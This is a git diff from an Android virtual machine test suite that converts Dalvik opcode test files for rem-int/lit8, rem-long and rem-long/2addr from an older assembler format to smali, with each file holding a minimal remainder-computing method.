diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali
new file mode 100644
index 0000000..d75d49a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.d
deleted file mode 100644
index b1eeb15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_7.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali
new file mode 100644
index 0000000..f3aa9c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.d
deleted file mode 100644
index 08b0729..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_8.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -128
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali
new file mode 100644
index 0000000..cef1a86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -128
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.d
deleted file mode 100644
index 3c28049..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_9.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali
new file mode 100644
index 0000000..1ccbdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.d
deleted file mode 100644
index 37cfd4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_1.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali
new file mode 100644
index 0000000..8f94d9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_1.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.d
deleted file mode 100644
index 867c397..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long v0, v12, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali
new file mode 100644
index 0000000..22feda9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v12, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.d
deleted file mode 100644
index 05b4c51..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_3.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       rem-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali
new file mode 100644
index 0000000..1c2db17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_3.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       rem-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.d
deleted file mode 100644
index 165258a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_4.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       rem-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali
new file mode 100644
index 0000000..421998e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_4.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       rem-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.d
deleted file mode 100644
index ab089c08..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_5.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)J
-.limit regs 14
-
-       rem-long v0, v11, v13
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali
new file mode 100644
index 0000000..ed7febf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_5.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)J
+.registers 14
+
+       rem-long v0, v11, v13
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.d
deleted file mode 100644
index eb64800..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_6.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali
new file mode 100644
index 0000000..d3a7be5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_6.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.d
deleted file mode 100644
index 83c111e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_1.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali
new file mode 100644
index 0000000..8805b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.d
deleted file mode 100644
index 79c9750..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_2.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long/2addr v12, v14
-       return-wide v12
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali
new file mode 100644
index 0000000..4f2310d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v12, v14
+       return-wide v12
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.d
deleted file mode 100644
index 4f62b19..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_3.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       rem-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali
new file mode 100644
index 0000000..0df591f
--- /dev/null
